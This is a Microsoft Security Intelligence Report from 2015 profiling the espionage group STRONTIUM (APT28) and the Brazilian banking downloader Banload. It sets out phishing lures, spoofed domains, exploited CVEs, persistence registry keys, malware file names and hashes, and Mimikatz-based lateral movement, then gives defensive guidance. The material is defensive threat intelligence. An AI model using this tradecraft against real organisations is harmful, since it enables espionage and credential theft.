112 Malware infections ......................................................................................................................... 115 What IT departments can do to protect their users ............................................................. 117 Appendixes 121 Appendix A: Threat naming conventions ......................................................................... 123 Appendix B: Data sources ....................................................................................................... 125 Appendix C: Worldwide encounter and infection rates ............................................... 127 Glossary ........................................................................................................................................ 132 Threat families referenced in this report ........................................................................... 141 Index ............................................................................................................................................. 148 MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   v About this report The Microsoft Security Intelligence Report (SIR) focuses on software vulnerabilities, software vulnerability exploits, malware, and unwanted software.
Past reports and related resources are available for download at www.microsoft.com/sir.
We hope that readers find the data, insights, and guidance provided in this report useful in helping them protect their organizations, software, and users.
Reporting period This volume of the Microsoft Security Intelligence Report focuses on the first and second quarters of 2015, with trend data for the last several quarters presented on a quarterly basis.
Because vulnerability disclosures can be highly inconsistent from quarter to quarter and often occur disproportionately at certain times of the year, statistics about vulnerability disclosures are presented on a half-yearly basis.
Throughout the report, half-yearly and quarterly time periods are referenced using the nHyy or nQyy formats, in which yy indicates the calendar year and n indicates the half or quarter.
For example, 1H15 represents the first half of 2015 (January 1 through June 30), and 4Q14 represents the fourth quarter of 2014 (October 1 through December 31).
To avoid confusion, please note the reporting period or periods being referenced when considering the statistics in this report.
Conventions This report uses the Microsoft Malware Protection Center (MMPC) naming standard for families and variants of malware.
For information about this standard, see Appendix A: Threat naming conventions on page 123.
In this report, any threat or group of threats that share a common unique base name is considered a family for the sake of presentation.
This consideration includes threats that may not otherwise be considered families according to common industry practices, such as generic detections.
For the purposes of this report, a threat is defined as a malware or unwanted software family or variant that is detected by the Microsoft Malware Protection Engine.
http://www.microsoft.com/sir http://www.microsoft.com/mmpc vi FOREWORD Foreword Welcome to Volume 19 of the Microsoft Security Intelligence Report (SIR).
Ive contributed to the SIR for almost ten years now.
If I had to describe how the threat landscape has changed during that time using only one word, Id say its cumulative.
Ten years ago we reported on a range of threats that included trojans, worms, trojan downloaders  droppers, exploits, bots (backdoor trojans), among others.
These types of threats were primarily motivated by a desire to disrupt networks, as worms did years earlier, or to seek profit.
Fast forward ten years and we still see the same categories of threats and even some of the same threat families employed.
During this time, attackers have had to evolve their tactics to get malware onto computers that have also been evolving with continuously elevating security levels.
As vulnerabilities in operating systems have become harder to find and exploit, attackers have relied increasingly on social engineering to compromise computer systems.
In addition to these types of attacks, we have seen more threat actors with different motivations emerge over the years, including hacktivists and practitioners of military and economic espionage.
Rogue security software or fake antivirus software that was used to trick people into installing malware and disclosing credit card information to attackers has been replaced by ransomware that seeks to extort victims by encrypting their data.
Commercial exploit kits now dominate the list of top exploits we see trying to compromise unpatched computers, which means the exploits that computers are exposed to on the Internet are professionally managed and constantly optimized at an increasingly quick rate.
Targeted attacks have become common as opposed to the exception.
Attackers continue to try to use the tactics that they did years ago, and have added to their repertoire of dirty tricks.
This is why I use the word cumulative to describe how things have changed.
If I could use a second word to describe how they have changed I would use accelerated.
The focus and pace that some attackers have been demonstrating recently have certainly increased over time.
MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   vii Notice I didnt use the word advanced.
Although attackers have accumulated more tricks and tactics and seem to be using them in a more focused, fast- paced way, they still focus on a relatively small number of ways to compromise computers, including: Unpatched vulnerabilities Misconfigured computers Weak passwords Social engineering The great news if you are a CISO or security professional is that youve never had so much information and so many security capabilities and tools as you do today to defend your organizations data.
Please enjoy the report.
Tim Rains Chief Security Advisor Enterprise Cybersecurity Group Microsoft Featured intelligence STRONTIUM: A profile of a persistent and motivated adversary .......................................................................................... 3 Focus on Brazil: Win32/Banload and Banking Malware .. 21 2 FOREWORD MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   3 STRONTIUM: A profile of a persistent and motivated adversary A research team at the Microsoft Malware Protection Center (MMPC) proactively monitors the threat landscape for emerging threats.
Part of this job involves keeping tabs on targeted attack groups, which are often the first ones to introduce new exploits and techniques that are later used widely by other attackers.
One such group, which Microsoft has code-named STRONTIUM, is of particular interest because of its aggressive, persistent tactics and techniques, and its repeated use of new zero-day exploits to attack its targets.
Microsoft is sharing some of the information it has gathered on this prominent attack group in the hope that it will raise awareness of the groups activities and help organizations take immediate advantage of available mitigations that can significantly reduce the risks that they face from this and similar groups.
Adversary profile STRONTIUM has been active since at least 2007.
Whereas most modern untargeted malware is ultimately profit-oriented, STRONTIUM mainly seeks sensitive information.
Its primary institutional targets have included government bodies, diplomatic institutions, and military forces and installations in NATO member states and certain Eastern European countries.
Additional targets have included journalists, political advisors, and organizations associated with political activism in central Asia.
STRONTIUM is Microsofts code name for this group, following its internal practice of assigning chemical element names to activity groups other researchers have used code names such as APT28,1 Sednit,2 Sofacy,3 and Fancy Bear as labels for a group or groups that have displayed 1 APT28: A Window into Russias Cyber Espionage Operations?,
FireEye, Inc., October 14, 2014, https://www2.fireeye.com/apt28.html.
2 Loucif Kharouni et al.,
Operation Pawn Storm: Using Decoys to Evade Detection, Trend Micro, October 22, 2014, www.trendmicro.com/vinfo/us/security/news/cyber-attacks/pawn-storm-espionage-attacks-use- decoys-deliver-sednit.
3 Tactical Intelligence Bulletin: Sofacy Phishing, PwC, October 22, 2014, pwc.blogs.com/files/tactical- intelligence-bulletin---sofacy-phishing-.pdf.
https://www2.fireeye.com/apt28.html http://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/pawn-storm-espionage-attacks-use-decoys-deliver-sednit http://www.trendmicro.com/vinfo/us/security/news/cyber-attacks/pawn-storm-espionage-attacks-use-decoys-deliver-sednit http://pwc.blogs.com/files/tactical-intelligence-bulletin---sofacy-phishing-.pdf http://pwc.blogs.com/files/tactical-intelligence-bulletin---sofacy-phishing-.pdf 4 STRONTIUM: A PROFILE OF A PERSISTENT AND MOTIVATED ADVERSARY activity similar to the activity observed from STRONTIUM.
The groups persistent use of spear phishing tactics and access to previously undiscovered zero-day exploits have made it a highly resilient threat.
How STRONTIUM attacks a target STRONTIUM primarily uses two kinds of attack.
It uses spear phishingphishing attempts targeted at specific individualsto perform reconnaissance and steal login credentials to gather information about potential high- value targets associated with the institution under attack.
Following the reconnaissance phase, it uses a variety of methods to infect the computers of high-value targets with malware, often by exploiting previously unknown vulnerabilities in browser add-ons and other software.
Reconnaissance and target identification STRONTIUM typically begins its attack on an institution by identifying and profiling potential victims with connections to the institution.
Microsoft has seen indications that STRONTIUM relies on open-source intelligence (OSINT), such as email lists and information harvested from public forums or social networking sites, to identify targets for spear phishing.
Microsoft also believes that STRONTIUM relies on past successful phishing attacks to augment its dataset, by making use of any email communications it can identify between prior targets and the current target.
STRONTIUM casts a wide net with its reconnaissance activities, seeking login credentials for email and other systems from a large number of people, which it then weeds through to assess its value.
Microsoft believes STRONTIUM used its spear phishing attacks to target several thousand individuals during the first half of 2015.
Although STRONTIUM isnt choosy with its targets, it is persistent.
When STRONTIUM identifies an individual to target, the group will repeatedly conduct spear phishing attacks against it over a long duration, possibly a year or more, until one of the attempts succeeds.
STRONTIUMs spear phishing modus operandi focuses on making the recipient concerned about unauthorized use of an account.
A recent attack campaign involved sending messages with the subject line Privacy alert purporting to originate from a well-known email service, informing the user that their account Whereas most modern untargeted malware is ultimately profit- oriented, STRONTIUM mainly seeks sensitive information.
MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   5 has been accessed from an unrecognized device in a different country.
Because the targeted individuals are often professionals who have access to sensitive information, this can be an effective way to entice users to click a change password link that actually leads to a webpage under the attackers control.
Figure 1.
An example of a credential-stealing spear phishing message sent by STRONTIUM Typically, the link will lead to a domain name that is similar to a legitimate domain name used by the service in an effort to fool the user into thinking the message is legitimate.
Figure 2 lists some examples.
Figure 2.
Examples of domain names spoofed by STRONTIUM in recent attacks Legitimate domain name Spoofed domain name controlled by STRONTIUM accounts.google.com accounts.g00qle.com us-mg6.mail.yahoo.com us-mg6mailyahoo.com profile.live.com privacy-live.com mail.ukr.net mail-ukr.net www.nato.int nato-news.com www.bbc.com bbc-press.org www.osce.org osce-press.com www.eff.org electronicfrontierfoundation.org If the attack is successful, STRONTIUM uses the captured credentials to access the victims email account to identify additional targets and for additional analysis and attacks.
Even if the recipient doesnt enter their login credentials 6 STRONTIUM: A PROFILE OF A PERSISTENT AND MOTIVATED ADVERSARY into the malicious webpage, the act of clicking the link can provide STRONTIUM with valuable information.
In addition to providing STRONTIUM with the recipients IP address, clicking the link transmits a user-agent string to the web server that typically includes details about the recipients browser and operating system versions, and sometimes includes information about the browser add- ons the recipient is using.
This can provide STRONTIUM with insight into what software is deployed in the organization, and possibly help it plan future drive- by download activities.
Figure 3.
JavaScript is used to collect information about the visitors browser for drive-by download attacks Attacking the target The ultimate goal of the reconnaissance phase is to compile a list of high-value individuals who have information or access that STRONTIUM wants.
With this list at hand, the group moves to the next phase of operations: installing malware on MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   7 the high-value targets computers, and thereby gaining access to the institutions network.
STRONTIUM primarily uses email to deliver malware to targeted individuals, although some researchers have reported delivery through social networking channels as well.
Typical messages, such as the one shown in Figure 4, are tied to current events: an upcoming conference, for example, or a real world news event in which the recipient might be interested.
STRONTIUMs email senders are usually associated with well-known email providers, and use plausible- seeming names and titles that are designed to give the messages credibility.
Depending on the specific attack used, the message typically includes a link for additional information, which will launch a drive-by download or social engineering attack when clicked.
Other messages include malicious attachments instead of links, typically a document file containing an exploit.
Figure 4.
An example of a lure email message sent by STRONTIUM Subject: Mission_In_Central_African_Republic Dear Sir Please be advised that The Spanish Army personnel and a large number of the Spanish Guardia Civil officers currently deployed in the Central African Republic (CAR) as part of the European EUFOR RCA mission will return to Spain in early March as the mission draws to a close.
Visit http://eurasiaglobalnews.com/YYY-spains-armed-forces-conclude-mission-central- african-republic/ for the addition info.
Best regards, Capt.
John Smith, Defence Adviser, Public Diplomacy Division NATO, Brussels defence.adviser.smithgmail.com defence.adviser.smithgmail.com Little is known about how and what information STRONTIUM gathers to tailor its attacks to specific high-value individuals.
As discussed earlier, the user-agent and potential fingerprinting information gathered from phishing victims may play a part in planning the individual attacks by giving the group insight into what software may be in widespread use within the institution.
In general, 8 STRONTIUM: A PROFILE OF A PERSISTENT AND MOTIVATED ADVERSARY STRONTIUM can take advantage of a variety of attacks that span general tactics and cover a wide range of technologies, including zero-day exploits.
Zero-day exploitsexploits that target vulnerabilities for which the affected software vendor has not yet released a security updateform a significant part of STRONTIUMs arsenal.
It is not yet clear whether the group researches vulnerabilities and develops the exploits themselves, or purchases them on the black market.
Microsoft researchers have observed STRONTIUM moving swiftly to take advantage of newly disclosed vulnerabilities notably, the group deployed a number of zero-day exploits disclosed in a July 2015 leak of information from the security company Hacking Team.
In other cases, STRONTIUM deployed exploits within days of a vendor releasing a security update that addressed the associated vulnerability, relying on the fact that not everyone installs security updates immediately after they are published.
The exploits used by STRONTIUM include a wide range of products from multiple vendors, including Adobe Flash Player, the Oracle Java Runtime Environment (JRE), Microsoft Word and Internet Explorer, and some components of the Windows kernel.
Figure 5 lists some of the exploits used by STRONTIUM in recent campaigns, including a number of zero-day exploits (shaded).
All of the vulnerabilities listed in Figure 5 were quickly addressed by security updates as part of the vendors rapid response processes.
(
See Guidance on page 16 for information about how organizations can use up-to- date software to defend against targeted attacks.)
Figure 5.
Some of the exploits used by STRONTIUM in attack campaigns in 2014 and 2015 Remote code execution through browser drive-by Java CVE-2015-2590 (0-day) Flash CVE-2015-3043 CVE-2015-5119 CVE-2015-7645 (0-day) Internet Explorer CVE-2014-1776 CVE-2014-6332 CVE-2014-3897 Remote code execution through malicious attachment Microsoft Word CVE-2015-1641 (0-day) Microsoft Word CVE-2015-2424 (0-day) Privilege escalation or sandbox escape Win32k CVE-2015-1701 (0-day) ATMFD CVE-2015-2387 (0-day) Security feature bypass Java CVE-2015-4902 (0-day) Social engineering- based attack Firefox Bootstrapped Add-on (XPI) Zero-day exploits form a significant part of STRONTIUMs arsenal.
MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   9 In addition to using zero-day exploits, STRONTIUM also makes use of exploits that target older vulnerabilities for which security updates have been available for a long time.
Microsoft believes that in some cases, the group learns during the reconnaissance phase that the targeted institution may be exposed to risks by running older or out-of-support platforms and software, by not testing and applying security updates quickly, or by not taking advantage of the latest mitigations and defense mechanisms shipped with more recent product versionsand then acts accordingly.
In a development observed in October 2015, the shellcode that executes after a successful memory corruption exploit displayed a number of characteristics that researchers had not observed from the malware previously: API resolution: ROR 0x0D hashing, resolution made just before using the API Downloader: usage of HttpQueryInfo and WININET to fetch remote payloads in memory Compression: usage of ntdllRtlDecompressBuffer()LZNT1 compression for remote payloads Privilege escalation: executed as DLL, but in-memory (diskless) Figure 6.
In-memory decompression and execution of remote payloads performed by STRONTIUM shellcode In addition to relying on exploits, STRONTIUM also uses social engineering to trick victims into installing malware.
Since March of 2015, for example, Microsoft has observed STRONTIUM successfully compromising Mozilla Firefox users by convincing them to install a malicious browser add-on based on a publicly available module (Bootstrapped Addon Social Engineering Code Execution) developed for the Metasploit security testing framework.
10 STRONTIUM: A PROFILE OF A PERSISTENT AND MOTIVATED ADVERSARY Figure 7.
STRONTIUM installs malware via a malicious bootstrapped add-on in Mozilla Firefox Establishing control After gaining administrative privileges on the computer through an exploit or social engineering, STRONTIUM uses a dropper to deploy a backdoor component, CORESHELL, which eventually downloads other modules.
(
Microsoft products sometimes detect the primary components as variants in the Win32/Foosace family, although the group has used other malware in the past.)
The DLL backdoor is installed via execution of rundll32 with an export named init or InitW.
The dropper deletes itself after execution, while the DLL backdoor and any additional components are typically copied under the following folders: C:\Program Files\Common Files\Microsoft Shared\MSInfo\ C:\Users\user name\AppData\Local\Microsoft Help\ C:\ProgramData\ The dropper also writes the command and control (CC) configuration information to the registry or an encrypted file.
This strategy complicates forensic discovery of the attackers infrastructure if the backdoor DLL is discovered, because the configuration information must be located separately.
http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Foosace MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   11 Figure 8.
Command  control configuration locations used by STRONTIUM Format Path Registry HKEY_CURRENT_USER\ Software\Microsoft\Windows\CurrentVersion\Explorer\path File (Windows XP) ALLUSERSPROFILE\msd File (other Windows) PROGRAMDATA\msd STRONTIUM ensures that its backdoor will run every time the computer starts by creating autostart extensibility point (ASEP) registry entries and shortcuts, which differ depending on what the attacker has chosen for the victim and which backdoor variant is used.
(
See Advanced Malware Cleaning Techniques for the IT Professional on page 96 of Microsoft Security Intelligence Report, Volume 11 (JanuaryJune 2011), available from the Microsoft Download Center, for guidance on using Sysinternals tools to monitor ASEPs for signs of malware infection.)
The most common ASEPs used by STRONTIUM for its malware include the following: HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\Run\ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ Explorer\Shell Folders\ HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVersion\ Explorer\ShellServiceObjectDelayLoad\ HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\ Explorer\Shell Folders\ HKEY_CURRENT_USER\Environment\UserInitMprLogonScript  batch file ALLUSERSPROFILE\Application Data\Microsoft\Internet Explorer\ Quick Launch\ USERPROFILE\Application Data\Microsoft\Internet Explorer\ Quick Launch\ The STRONTIUM backdoor is composed of several pieces with different functions.
The attacker can deploy a large set of tools to perform tasks including key logging, email address and file harvesting, information gathering about the local computer, and remote communication with CC servers.
STRONTIUM also uses a component that is designed to infect connected USB storage devices, so that information can be captured from air-gapped computers that are not on http://www.microsoft.com/download/details.aspx?id27605 http://www.microsoft.com/download/details.aspx?id27605 12 STRONTIUM: A PROFILE OF A PERSISTENT AND MOTIVATED ADVERSARY the network when a user transfers the USB device to the air-gapped computer and then back to the network again.
Figure 9.
Different types of STRONTIUM components and filenames used during recently observed incidents The STRONTIUM group also appears to be active on non-Windows systems.
Microsoft has seen solid indicators that STRONTIUM used malicious backdoors to take control of proxy servers, mail servers, and other systems running the Linux operating system.
Microsoft also observed the group using domains that seem to be customized for different operating systems, including mac.softupdates.info and linux.softupdates.info.
Although Microsoft does not generally study attacks on non-Windows systems, a multiplatform attack strategy is very much in line with what has been observed about STRONTIUM in generalthat they have capabilities that cover a wide range of technologiesand any incident response against this adversary should take both Windows and non-Windows computers into consideration.
EoP exploit runrun.exe vmware- manager.exe ctf.exe MicrosoftSup.dll DLL backdoor mshelpc.dll winsys.dll Credential stealing run_x86.exe run_x64.exe SSL tunnel XAPS USB air gap backdoor SupUpNvidia.exe advstorshell.exe credssp.dll mfxscom.dll api-ms-win- [random].dll psw.exe svchosl.exe svehost.exe servicehost.exe The STRONTIUM group also appears to be active on non-Windows systems.
MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   13 Taking action The STRONTIUM backdoor can communicate over different network protocols, including HTTP, SMTP, and POP3.
Typically, the backdoor tests its connectivity with a series of HTTP POST requests to legitimate websites, and then establishes communication with its CC servers.
The domains STRONTIUM uses for its CC servers are typically designed to avoid attracting attention if administrators notice them when reviewing network traffic, such as softupdates.info and malwarecheck.info, suggestive of software update and malware reputation services.
In recent incidents during 2015, Microsoft observed STRONTIUM using a tunnel component designed to provide a remote encrypted interactive shell to a pre-configured IP address using proxy software on the victims computer, such as the popular open-source Squid proxy.
The tunneling module, which is customized for different targets, is slightly larger than 1 MB and is statically linked with an OpenSSL library.
Based on debug information left in some samples, some researchers have reported that the name of the component may be XAPS OBJECTIVE or XTUNNEL.4 The CC server for this tunnel could be either hardcoded in the binary or passed as a command-line parameter at startup.
Figure 10.
XAPS in the STRONTIUM tunnel module binary Samples for this component include the items in the following table: 4 Gastbeitrag, Digital Attack on German Parliament: Investigative Report on the Hack of the Left Party Infrastructure in Bundestag, Netzpolitik.org, June 19, 2015, https://netzpolitik.org/2015/digital-attack-on- german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/.
The domains STRONTIUM uses are designed to avoid attracting attention.
https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/ https://netzpolitik.org/2015/digital-attack-on-german-parliament-investigative-report-on-the-hack-of-the-left-party-infrastructure-in-bundestag/ 14 STRONTIUM: A PROFILE OF A PERSISTENT AND MOTIVATED ADVERSARY Figure 11.
Known samples for the STRONTIUM XAPS tunnelling component MD5 hash SHA-1 hash File name 800af1c9d341b846a856a1e686be6a3e 0450aaf8ed309ca6baf303837701b5b23aac6f05 svehost.dll 9d86ba47a0b876cdc7fb0c9ad471cd67 64515c7ce8bcc656d54182675bd2d9ffceffe845 svchosl.exe 1957f5370d584a2acd74179340ef3005 3ec270193815fa2bd853ea251d93fdfffcbc40d6 svehost.exe f5a54476d3d05c8f0804f3d2d5818928 e5039bb420f9a3a23aaa9ee7392bd05dfee42540 svehost.exe 4ac8d16ff796e825625ad1861546e2e8 1535d85bee8a9adb52e8179af20983fb0558ccb3 servicehost.exe After gaining a foothold on one computer, STRONTIUM attempts to move laterally through the organization by compromising additional computers to gain access to more data and high-value targets.
STRONTIUM uses publicly available tools such as WinExe (a remote command-line execution tool) and Mimikatz (a Windows credential gathering tool) to move between computers via methods such as Pass the Hash (PtH).
In recent incidents Microsoft observed STRONTIUM using a customized version of Mimikatz that was recompiled with a privilege escalation exploit (CVE-2015-1701, addressed by Security Bulletin MS15-051) and stored captured credential information in a dedicated file, pi.log.
Figure 12.
A customized version of Mimikatz storing passwords in the file pi.log STRONTIUM has displayed an advanced understanding of military and classified government networks, and uses a component that is designed to extract information from air-gapped computers.
This module registers a device callback http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-1701 https://technet.microsoft.com/library/security/ms15-051.aspx MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   15 via RegisterDeviceNotification5 and receives a notification every time a USB mass storage device is inserted into a compromised computer.
Depending on the variant deployed, the backdoor may simply harvest the entire contents of the USB device and save it on the local computer for later extraction, or it may also use Autorun malware to transfer itself to the device so that it can attempt to compromise any other computers it is later inserted into, including air-gapped computers.6 Figure 13.
The device notification routine registered by a STRONTIUM USB module Some STRONTIUM victims have reported the presence of computers running Kali Linux on their networks.
Kali Linux is a Linux distribution that combines a variety of tools for the purpose of penetration testing and security assessment.
It contains tools for password attacks, sniffing  spoofing, maintaining access, hardware hacking, reverse engineering, information gathering, vulnerability analysis, wireless attacks, web application attacks, stress testing, and forensic and 5 See msdn.microsoft.com/library/windows/desktop/aa36343128vvs.8529.aspx for more information about this function.
6 Changes to the way the AutoRun feature works make it more difficult for this technique to succeed in recent versions of Windows.
See blogs.technet.com/b/security/archive/2011/06/27/defending-against-autorun- attacks.aspx for more information.
https://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryINF/Autorun http://msdn.microsoft.com/library/windows/desktop/aa36343128vvs.8529.aspx http://blogs.technet.com/b/security/archive/2011/06/27/defending-against-autorun-attacks.aspx http://blogs.technet.com/b/security/archive/2011/06/27/defending-against-autorun-attacks.aspx 16 STRONTIUM: A PROFILE OF A PERSISTENT AND MOTIVATED ADVERSARY exploitation analysis.
The tool lists within each category are quite extensive and the distribution is actively maintained, so that STRONTIUM can always take advantage of the latest open-source tools.
STRONTIUM does not deploy this Linux distribution on an existing computer that belongs to the targeted institution rather, it uses a VPN connection to join one of its own Kali Linux computers to the victims network, possibly using the tunnel component that was previously deployed.
This approach allows STRONTIUM to only ephemerally expose its toolset to the victims network.
Guidance STRONTIUM is a very challenging adversary for a targeted institution to defend against: it possesses a broad range of technical exploitation capabilities, significant access to resources such as previously undiscovered zero-day exploits, and the determination to keep up an attack for months or years until it succeeds.
Nevertheless, there are steps an organization can take to significantly reduce its attack surface and decrease the probability of a successful compromise.
Stay up-to-date on vendor security updates and deploy them quickly after they are released.
All of the exploits discussed in this section have been addressed by security updates from Microsoft and other vendors.
STRONTIUM depends heavily on the presence of out-of-date software installations inside target institutions, so keeping software up-to-date denies the group the use of some of its most effective tools.
Take advantage of the mitigations built into your software.
Recent versions of Windows and other software include critical mitigations that render many of STRONTIUMs exploits ineffective when deployed.
Figure 5 on page 8 lists a number of zero-day exploits that STRONTIUM has used in recent campaigns.
Most of these exploits will fail if tried on a computer running the latest versions of Windows and Office, even without security updates that address the vulnerabilities: The STRONTIUM exploits that target CVE-2015-1641 and CVE-2015- 2424, which affect Microsoft Word and have been addressed by Security Bulletins MS15-033 and MS15-070 respectively, depend on static hard- coded ROP chains that fail when address space layout randomization STRONTIUM is a challenging adversary for a targeted institution to defend against.
http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-1641 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-2424 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-2424 https://technet.microsoft.com/library/security/ms15-033 https://technet.microsoft.com/library/security/ms15-070 MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   17 (ASLR) is enabled.
Office 2013 and Office 2016 both run with ASLR enabled by default, rendering these exploits ineffective.
Figure 14.
Snippet of the ROP chain used in the CVE-2015-2424 exploit it fails against Office installations with ASLR enabled The exploit targeting CVE-2015-3043, a vulnerability in Adobe Flash Player addressed by Adobe Security Bulletin APSB15-06, fails in Internet Explorer running on an up-to-date installation of Windows 8.1 or Windows 10 because of Control Flow Guard, a mitigation introduced in a Windows 8.1 security update in November 2014.
Control Flow Guard mitigates virtual function hijacking attempts such as the one involving the cancel() method shown in Figure 15.
http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-3043 https://helpx.adobe.com/security/products/flash-player/apsb15-06.html 18 STRONTIUM: A PROFILE OF A PERSISTENT AND MOTIVATED ADVERSARY Figure 15.
Snippet from the STRONTIUM ActionScript exploit code targeting CVE-2015-3043 in Adobe Flash Player, which fails against CFG mitigation The kernel vulnerabilities exploited by STRONTIUM (CVE-2015-1701, addressed by Security Bulletin MS15-051, and CVE-2015-2387, addressed by Security Bulletin MS15-077) could not work in Windows 8 and newer platforms running on hardware that supports Supervisor Mode Execution Protection (SMEP) and other kernel mitigations.7 In fact, the exploit is coded to abort execution if running on an operating system other than Windows 7.
7 See Exploit Mitigation Improvements in Windows 8 (https://media.blackhat.com/bh-us- 12/Briefings/M_Miller/BH_US_12_Miller_Exploit_Mitigation_Slides.pdf) for more information.
http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-1701 https://technet.microsoft.com/library/security/ms15-051 http://www.cve.mitre.org/cgi-bin/cvename.cgi?nameCVE-2015-2387 https://technet.microsoft.com/library/security/ms15-077 https://media.blackhat.com/bh-us-12/Briefings/M_Miller/BH_US_12_Miller_Exploit_Mitigation_Slides.pdf https://media.blackhat.com/bh-us-12/Briefings/M_Miller/BH_US_12_Miller_Exploit_Mitigation_Slides.pdf MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   19 Figure 16.
STRONTIUMs CVE-2015-1701 exploit terminates execution on the newest versions of Windows Enforce segregation of privileges on user accounts and apply all possible safety measures to protect Admin accounts from being compromised STRONTIUM relies on pass-the-hash techniques and elevation of privileges to successfully move laterally across networks.
See Mitigating Pass-the- Hash (PtH) Attacks and Other Credential Theft, Version 2, available at the Microsoft Download Center, for more information.
In enterprise environments in which isolated computer networks (air- gapped) and Internet connected networks co-exist, enforce strong policies to prevent sharing and usage of removable media across the air gap.
Conduct enterprise software security awareness training, and build awareness about malware infection prevention.
STRONTIUM heavily relies on social engineering to entice individual targets into clicking links to malware.
Security training can raise awareness around this attack vector.
Institute multi-factor authentication.
As STRONTIUM extensively uses credential-stealing spear phishing attacks, multi-factor authentication can be an effective tool to prevent unauthorized access even if credentials are stolen.
http://www.microsoft.com/download/details.aspx?id36036 http://www.microsoft.com/download/details.aspx?id36036 http://www.microsoft.com/security/portal/mmpc/shared/prevention.aspx 20 STRONTIUM: A PROFILE OF A PERSISTENT AND MOTIVATED ADVERSARY Prepare your network to be forensically ready, so that you can achieve containment and recovery if a compromise occurs.
A forensically ready network that records authentications, password changes, and other significant network events can help to quickly identify affected systems.
Keep personnel and personal data private.
STRONTIUM uses open-source intelligence (OSINT) to obtain its initial lists of victims, which might include things like name and email address, but can expand into employment information and other items of interest.
These are all pieces of information STRONTIUM can use to devise a realistic attack.
The more information STRONTIUM has available, the better they can target you.
Make sure your email is kept confidential and privacy settings on social media dont disclose sensitive information publicly.
MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   21 Focus on Brazil: Win32/Banload and Banking Malware Online banking is big business in Brazil, where more than half of all banking transactions have been made using Internet- connected devices in recent years.8 Unfortunately, the popularity of online banking in Brazil has drawn the attention of criminals, who have made the country a world capital for banking malware for the last several years.
Win32/Banload, the most commonly encountered malware family in Brazil in 2Q15, is a generic detection for threats that download malware designed to steal banking credentials, which themselves are usually identified as other threats.
(
Encounter rates for these related threats are generally much lower than for Banload, in part because Microsoft real-time security products block Banload variants before they can download additional malware therefore, examining Banload encounter rates is a useful proxy for understanding the banking malware problem in general.)
Together, Banload and its related families have been a major part of the malware problem in Brazil for nearly ten years.
Distribution and trends Although some variants have been found to target banks elsewhere, Banload remains an almost exclusively Brazilian threat.
More than 93 percent of Banload encounters in 2Q15 occurred in Brazil, and the encounter rate for Banload in Brazil was 2.1 percent in 2Q15, compared to 0.16 percent in Portugal, the location with the second highest Banload encounter rate.
While Banload was the 8 Michael Oleaga, Online Banking Growing in Brazil: More Than Half Made Digital Transactions in 2013, Latin Post, April 2, 2014, http://www.latinpost.com/articles/9959/20140402/online-banking-growing-brazil-more- half-made-digital-transactions.htm.
Criminals have made Brazil a world capital for banking malware for the last several years.
http://www.microsoft.com/security/portal/threat/encyclopedia/search.aspx?queryWin32/Banload http://www.latinpost.com/articles/9959/20140402/online-banking-growing-brazil-more-half-made-digital-transactions.htm http://www.latinpost.com/articles/9959/20140402/online-banking-growing-brazil-more-half-made-digital-transactions.htm 22 WIN32/BANLOAD AND BANKING MALWARE most commonly encountered threat family in Brazil in 2Q15, it ranked just 39th worldwide.
Figure 17.
The top ten countries/regions encountering Win32/Banload in 2Q15 Banload has consistently been encountered at much higher rates in Brazil than in the rest of the world.
Over the past six quarters the encounter rate for Banload in Brazil has fluctuated between 1.0 percent and 2.1 percent, while the worldwide Banload encounter rate has ranged between 0.06 percent and 0.11 percent.
Despite a generally rising trend that accelerated in 2Q15, the fluctuations shown in Figure 18 are fairly typical for Banload and do not necessarily presage significantly increased encounter rates in the future.
0.0 0.5 1.0 1.5 2.0 2.5 Brazil Portugal Turkey Bolivia Uruguay Sweden Argentina El Salvador Colombia Azerbaijan Worldwide E n co u n te r ra te ( p e rc e n t o f a ll re p o rt in g c o m p u te rs ) MICROSOFT SECURITY INTELLIGENCE REPORT, VOLUME 19, JANUARYJUNE 2015   23 Figure 18.
Banload encounter rate trends worldwide and in Brazil, 1Q142Q15 Propagation and technical details Threats detected as Banload are created and distributed by many different parties, who may have little or no connection to each other.
Most variants operate in similar ways.
Banload might be installed by other malware, or use social engineering to trick the user into launching it.
After it is installed, it contacts a remote host and downloads additional files, which then attempt to steal banking credentials and transmit them back to the attacker.
Banload variants have been observed to connect to many different remote hosts, including malicious sites as well as legitimate sites that have been compromised.
As with many other malware families, the hosts are not confined to any particular region attackers typically establish malicious hosts wherever a vulnerable server can be found to compromise.
Some Banload variants check the configured system language upon installation and only download additional files if it is set to Portuguese.
Although Banload usually does not attempt to steal banking credentials itself, many variants transmit other details about the computer environment to the attacker, such as the computer name, user name, and Windows version.
